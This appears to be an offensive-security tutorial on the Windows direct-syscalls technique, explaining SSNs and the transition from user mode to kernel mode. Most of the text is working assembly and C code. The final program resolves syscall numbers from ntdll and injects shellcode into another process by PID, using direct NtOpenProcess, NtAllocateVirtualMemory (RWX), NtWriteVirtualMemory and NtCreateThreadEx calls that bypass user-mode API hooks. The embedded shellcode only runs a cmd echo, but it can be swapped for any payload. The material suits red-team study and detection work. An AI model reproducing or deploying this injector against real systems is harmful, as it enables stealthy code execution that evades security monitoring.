Direct Syscalls
In this documentation we will see Direct Systemcalls technique.
What is System Call?
Warning
It is assumed that the reader is familiar with the NTAPI mechanism described in the NTAPI Injection documentation and the basic differences between user-mode and kernel-mode.
A system call is a programmatic way for a program to request a service from the operating system. More simply, it is a command that allows a program running in user mode to switch to kernel mode. In operating systems such as Windows, a program running in user mode accesses the kernel-mode services of the operating system by making a system call. This transition occurs when the CPU switches to kernel mode, which is managed by the operating system.
When it comes to the Windows API, a system call is a command that provides a temporary transition (CPU switch) from user-mode to kernel-mode for the execution of the WIN32 API called by a user-mode program.
Let’s walk through the diagram for a better understanding:

If you’ve read the NTAPI Injection documentation, you’ll recognize this diagram.
Let’s say we call OpenProcess API from user-mode program. Since the original addresses of these APIs are kept in ntoskrnl.exe from kernel space, they need to be redirected from user-mode to kernel-mode. The first stop of this API will be OpenProcess from kernel32.dll and then it will go to the last stop of user-mode, ntdll.dll library and become NtOpenProcess. This is where the relevant SYSCALL comes into play. After ntdll.dll, it needs to be redirected to the kernel-mode domain as the steps will continue from the kernel space.
After the SYSCALL is executed, the kernel-mode is switched to kernel-mode and redirected to the SSDT table, the original address of NtOpenProcess is calculated and redirected to the address from ntoskrnl.exe. If you want to learn more about the SSDT table, you can check my SSDT documentation.
Each NTAPI has a syscall number to identify which API is being executed. These numbers can vary depending on the operating system version and are usually defined at the kernel level. This identifies which API the program wants to run. For example, with Windbg we can look up the syscall number of NtOpenProcess from ntdll.dll:

When a syscall is processing, ssn -the syscall number- is transferred to eax. In the photo we can see that the value transferred to eax is 0x26 for NtOpenProcess.
Direct Syscall Technique
The Direct Systemcall technique, as the name suggests, is a technique that involves making syscalls directly from user-mode programs. This method makes a direct syscall without going to any libraries in between (kernel32.dll etc. as we can see from the diagram).
Coding of Assembly Project
If you remember, in NTAPI Injection we were defining the structure to run NtOpenProcess. With this method we will create an .asm file in the project. The reason for this is that syscalls are made in assembly, that is, at a lower level. Therefore, we cannot make syscalls directly with C codes.
Right click on the project we created in Visual Studio and click on Build Dependencies > Build Customizations:

Then let’s create an .asm project and right click on the created project and select Properties:

After clicking Properties, let’s check the Excluded From Build option as No.
Then let’s code the assembly file we created:
.code
My_NtOpenProcess proc
mov r10,rcx
mov eax,26h
syscall
ret
My_NtOpenProcess endp
end
As you can see in this code, we syscall with 0x26 ssn. When we call the My_NtOpenProcess function in our C project, the flow will be transferred here.
Coding of C Project
Here’s the code for main.h:
#include <stdio.h>
#include <Windows.h>
#define STATUS_SUCCESS (NTSTATUS)0x00000000L
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
extern NTSTATUS My_NtOpenProcess(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId
);
Now we know what these structures are used for. Notice that with extern we define My_NtOpenProcess, which we created in the assembly project.
main.c:
#include "main.h"
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("Usage: .\\program <PID>\n");
return 1;
}
DWORD PID = atoi(argv[1]);
HANDLE HandleProcess = NULL;
CLIENT_ID CID = { (HANDLE)PID, NULL };
OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr), NULL };
NTSTATUS Status = My_NtOpenProcess(&HandleProcess, PROCESS_ALL_ACCESS, &ObjAttr, &CID);
if (Status != STATUS_SUCCESS) {
printf("NtOpenProcess failed with status: 0x%08x\n", Status);
return -1;
}
printf("HandleProcess: 0x%p\n", HandleProcess);
return 0;
}
Let’s run the program and take a look at the results:

As you can see, NtOpenProcess is running successfully. Still, we can use Windbg to get a closer look at what’s going on in the background:

Let’s add a bp in the part where we call My_NtOpenProcess from the main function and see what it does step by step:

As you can see, the flow transferring to the function of the asm project.
We can create a diagram of the step we are doing so that we can understand it better:

Running Shellcode with Direct Systemcall
Update the assembly project with these codes:
.data
extern NtOpenProcessSSN:DWORD
extern NtAllocateVirtualMemorySSN:DWORD
extern NtWriteVirtualMemorySSN:DWORD
extern NtCreateThreadExSSN:DWORD
extern NtWaitForSingleObjectSSN:DWORD
extern NtCloseSSN:DWORD
.code
My_NtOpenProcess PROC
mov r10, rcx
mov eax, NtOpenProcessSSN
syscall
ret
My_NtOpenProcess ENDP
My_NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, NtAllocateVirtualMemorySSN
syscall
ret
My_NtAllocateVirtualMemory ENDP
My_NtWriteVirtualMemory PROC
mov r10, rcx
mov eax, NtWriteVirtualMemorySSN
syscall
ret
My_NtWriteVirtualMemory ENDP
My_NtCreateThreadEx PROC
mov r10, rcx
mov eax, NtCreateThreadExSSN
syscall
ret
My_NtCreateThreadEx ENDP
My_NtWaitForSingleObject PROC
mov r10, rcx
mov eax, NtWaitForSingleObjectSSN
syscall
ret
My_NtWaitForSingleObject ENDP
END
Then update the main.h header file:
#include <stdio.h>
#include <Windows.h>
#define STATUS_SUCCESS (NTSTATUS)0x00000000L
DWORD NtOpenProcessSSN;
DWORD NtAllocateVirtualMemorySSN;
DWORD NtWriteVirtualMemorySSN;
DWORD NtCreateThreadExSSN;
DWORD NtWaitForSingleObjectSSN;
DWORD NtCloseSSN;
#pragma region STRUCTURES
typedef struct _PS_ATTRIBUTE
{
ULONG Attribute;
SIZE_T Size;
union
{
ULONG Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;
#pragma endregion
extern NTSTATUS My_NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL
);
extern NTSTATUS My_NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
extern NTSTATUS My_NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten OPTIONAL
);
extern NTSTATUS My_NtCreateThreadEx(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
IN PVOID StartRoutine,
IN PVOID Argument OPTIONAL,
IN ULONG CreateFlags,
IN SIZE_T ZeroBits,
IN SIZE_T StackSize,
IN SIZE_T MaximumStackSize,
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL
);
extern NTSTATUS My_NtWaitForSingleObject(
_In_ HANDLE Handle,
_In_ BOOLEAN Alertable,
_In_opt_ PLARGE_INTEGER Timeout
);
And main.c:
#include "main.h"
char Shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x4b\x20\x22\x65"
"\x63\x68\x6f\x20\x44\x69\x72\x65\x63\x74\x20\x53\x79\x73"
"\x74\x65\x6d\x63\x61\x6c\x6c\x73\x20\x77\x69\x74\x68\x20"
"\x62\x65\x6b\x6f\x6f\x22";
size_t ShellcodeSize = sizeof(Shellcode);
DWORD GetSSN(HMODULE ModuleName, LPCSTR ProcName) {
printf("\n***** %s *****\n", ProcName);
DWORD sysCallNumber = 0;
UINT_PTR targetNtFunction;
targetNtFunction = (UINT_PTR)GetProcAddress(ModuleName, ProcName);
if (targetNtFunction == 0) {
printf("%s handle retrieval failed Error Code: 0x%lx\n", ProcName, GetLastError());
return -1;
}
sysCallNumber = ((PBYTE)(targetNtFunction + 0x4))[0];
printf("SSN number for the %s successfully received! 0x%lx\n", ProcName, sysCallNumber);
return sysCallNumber;
}
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("Usage: .\\program <PID>\n");
return 1;
}
DWORD PID = atoi(argv[1]);
HANDLE HandleProcess = NULL;
HANDLE HandleThread = NULL;
PVOID RemoteBuffer = NULL;
HMODULE NTDLLAddress = GetModuleHandleW(L"ntdll.dll");
CLIENT_ID CID = { (HANDLE)PID, NULL };
OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr), NULL };
NTSTATUS Status = STATUS_SUCCESS;
NtOpenProcessSSN = GetSSN(NTDLLAddress, "NtOpenProcess");
Status = My_NtOpenProcess(&HandleProcess, PROCESS_ALL_ACCESS, &ObjAttr, &CID);
if (Status != STATUS_SUCCESS) {
printf("NtOpenProcess failed! Error Code: 0x%lx\n", Status);
CloseHandle(HandleProcess);
return 1;
}
NtAllocateVirtualMemorySSN = GetSSN(NTDLLAddress, "NtAllocateVirtualMemory");
Status = My_NtAllocateVirtualMemory(HandleProcess, &RemoteBuffer, 0, &ShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (Status != STATUS_SUCCESS) {
printf("NtAllocateVirtualMemory failed! Error Code: 0x%lx\n", Status);
CloseHandle(HandleProcess);
return 1;
}
NtWriteVirtualMemorySSN = GetSSN(NTDLLAddress, "NtWriteVirtualMemory");
Status = My_NtWriteVirtualMemory(HandleProcess, RemoteBuffer, Shellcode, ShellcodeSize, NULL);
if (Status != STATUS_SUCCESS) {
printf("NtWriteVirtualMemory failed! Error Code: 0x%lx\n", Status);
CloseHandle(HandleProcess);
return 1;
}
NtCreateThreadExSSN = GetSSN(NTDLLAddress, "NtCreateThreadEx");
Status = My_NtCreateThreadEx(&HandleThread, THREAD_ALL_ACCESS, NULL, HandleProcess, (LPTHREAD_START_ROUTINE)RemoteBuffer, NULL, FALSE, 0, 0, 0, NULL);
if (Status != STATUS_SUCCESS) {
printf("NtCreateThreadEx failed! Error Code: 0x%lx\n", Status);
return 1;
}
NtWaitForSingleObjectSSN = GetSSN(NTDLLAddress, "NtWaitForSingleObject");
Status = My_NtWaitForSingleObject(HandleThread, FALSE, NULL);
if (Status != STATUS_SUCCESS) {
printf("NtWaitForSingleObject failed! Error Code: 0x%lx\n", Status);
CloseHandle(HandleThread);
CloseHandle(HandleProcess);
return 1;
}
printf("Shellcode executed successfully\n");
CloseHandle(HandleThread);
CloseHandle(HandleProcess);
return 0;
}
Here’s the result:
Conclusion
In this documentation, we have seen how to make syscall directly from the user mode program. I hope the topic was useful for you